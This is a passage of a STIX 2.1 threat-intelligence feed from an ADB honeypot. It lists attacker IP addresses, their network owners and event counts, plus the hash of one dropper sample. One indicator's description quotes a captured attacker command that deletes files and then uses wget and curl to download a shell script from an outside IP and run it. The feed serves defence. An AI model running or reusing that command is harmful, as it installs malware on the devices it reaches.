      "id": "indicator--efdacd36-77c7-40d1-a626-b1c05fd92fe6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '98.80.4.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T04:00:05.000Z",
      "valid_until": "2026-04-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 53,
          "first_seen": "2026-03-14T03:07:14.000Z",
          "last_seen": "2026-03-14T03:18:01.426Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; rm -rf csk_*; cd /data/local/; busybox wget http://103.253.146.163/viet69.sh; sh viet69.sh; curl http://103.253.146.163/viet69.sh; sh viet6\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-14T05:01:30.000Z | last_seen=2026-03-14T05:03:25.809Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3b2d4e9f-9e21-47b4-afb4-281c531b9a4a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '103.253.146.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:00:03.000Z",
      "valid_until": "2026-04-15T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-14T05:01:30.000Z",
          "last_seen": "2026-03-14T05:03:25.809Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-14T05:35:10.000Z | last_seen=2026-03-14T05:36:27.489Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--48c96873-b9c4-4aea-93e0-628d2efcdd6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:00:03.000Z",
      "valid_until": "2026-04-15T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-14T05:35:10.000Z",
          "last_seen": "2026-03-14T05:36:27.489Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T06:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-14T05:54:41.000Z | last_seen=2026-03-16T19:07:42.124Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--7e57da35-b779-403f-a8bb-5c335bb35215",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T06:00:03.000Z",
      "valid_until": "2026-04-15T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-14T05:54:41.000Z",
          "last_seen": "2026-03-16T19:07:42.124Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T07:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=36 | first_seen=2026-03-13T03:46:42.000Z | last_seen=2026-03-14T06:54:42.489Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--121fe878-72e9-4cc1-8553-e4da05fdf846",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T07:00:05.000Z",
      "valid_until": "2026-04-15T07:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 36,
          "first_seen": "2026-03-13T03:46:42.000Z",
          "last_seen": "2026-03-14T06:54:42.489Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T07:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=36 | first_seen=2026-03-13T03:46:42.000Z | last_seen=2026-03-14T06:54:42.489Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--121fe878-72e9-4cc1-8553-e4da05fdf846",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T07:00:08.000Z",
      "valid_until": "2026-04-15T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 36,
          "first_seen": "2026-03-13T03:46:42.000Z",
          "last_seen": "2026-03-14T06:54:42.489Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=IN; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T08:52:56.000Z | last_seen=2026-03-14T08:54:03.486Z | ports=5555 | cc=IN | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--65208e6b-0280-4989-8be8-d6c78badadb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.232.184.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:00:02.000Z",
      "valid_until": "2026-04-15T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T08:52:56.000Z",
          "last_seen": "2026-03-14T08:54:03.486Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=24; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=24 | first_seen=2026-03-14T08:37:12.000Z | last_seen=2026-03-14T08:48:39.005Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--b7d6b3ec-fd7a-4797-a74f-d545ef43318c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T09:00:02.000Z",
      "valid_until": "2026-04-15T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 24,
          "first_seen": "2026-03-14T08:37:12.000Z",
          "last_seen": "2026-03-14T08:48:39.005Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=50; ports=5555; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=50 | first_seen=2026-03-14T09:29:37.000Z | last_seen=2026-03-14T09:31:36.924Z | ports=5555 | cc=SG | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--7f9d57ec-03c6-475c-b279-7b9798592f17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.237.115.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:00:03.000Z",
      "valid_until": "2026-04-15T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 50,
          "first_seen": "2026-03-14T09:29:37.000Z",
          "last_seen": "2026-03-14T09:31:36.924Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=50; ports=5555; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=50 | first_seen=2026-03-14T09:29:37.000Z | last_seen=2026-03-14T09:31:36.924Z | ports=5555 | cc=SG | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--7f9d57ec-03c6-475c-b279-7b9798592f17",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '47.237.115.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T10:00:04.000Z",
      "valid_until": "2026-04-15T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 50,
          "first_seen": "2026-03-14T09:29:37.000Z",
          "last_seen": "2026-03-14T09:31:36.924Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T11:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/2915d98a1faeb4e62b68387ff7ab3a251de4dfbfab5506a64a24ce00c10d2ae8.raw; last_seen=2026-03-14T10:01:00.865Z",
      "id": "indicator--141829cd-f040-4017-8fb8-98125f071731",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '2915d98a1faeb4e62b68387ff7ab3a251de4dfbfab5506a64a24ce00c10d2ae8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T11:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T11:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/2915d98a1faeb4e62b68387ff7ab3a251de4dfbfab5506a64a24ce00c10d2ae8.raw; last_seen=2026-03-14T10:01:00.865Z",
      "id": "indicator--141829cd-f040-4017-8fb8-98125f071731",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '2915d98a1faeb4e62b68387ff7ab3a251de4dfbfab5506a64a24ce00c10d2ae8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T11:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=AT; asn=174; asn_org=Cogent Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-14T11:20:13.000Z | last_seen=2026-03-14T11:31:35.292Z | ports=5555 | cc=AT | asn=174 | org=Cogent Communications, LLC",
      "id": "indicator--6f170d19-b760-4fd6-851c-0901c289fefe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '2.59.22.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:00:02.000Z",
      "valid_until": "2026-04-15T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-14T11:20:13.000Z",
          "last_seen": "2026-03-14T11:31:35.292Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AT"
          ],
          "asn": [
            "174"
          ],
          "org": [
            "Cogent Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=AT; asn=174; asn_org=Cogent Communications, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-14T11:20:13.000Z | last_seen=2026-03-14T11:31:35.292Z | ports=5555 | cc=AT | asn=174 | org=Cogent Communications, LLC",
      "id": "indicator--6f170d19-b760-4fd6-851c-0901c289fefe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '2.59.22.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T12:00:02.000Z",
      "valid_until": "2026-04-15T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-14T11:20:13.000Z",
          "last_seen": "2026-03-14T11:31:35.292Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AT"
          ],
          "asn": [
            "174"
          ],
          "org": [
            "Cogent Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T13:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=73 | first_seen=2026-03-14T12:15:50.000Z | last_seen=2026-03-17T21:22:59.562Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--6aa789b7-4425-4cdb-83ec-4c78a868ada6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T13:00:04.000Z",
      "valid_until": "2026-04-15T13:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 73,
          "first_seen": "2026-03-14T12:15:50.000Z",
          "last_seen": "2026-03-17T21:22:59.562Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T13:34:46.000Z | last_seen=2026-03-14T13:35:51.317Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1f732671-1058-49d4-8d74-4154808ba66b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:00:03.000Z",
      "valid_until": "2026-04-15T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T13:34:46.000Z",
          "last_seen": "2026-03-14T13:35:51.317Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-14T14:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-14T13:34:46.000Z | last_seen=2026-03-14T13:35:51.317Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1f732671-1058-49d4-8d74-4154808ba66b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-14T14:00:04.000Z",
      "valid_until": "2026-04-15T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-14T13:34:46.000Z",
          "last_seen": "2026-03-14T13:35:51.317Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
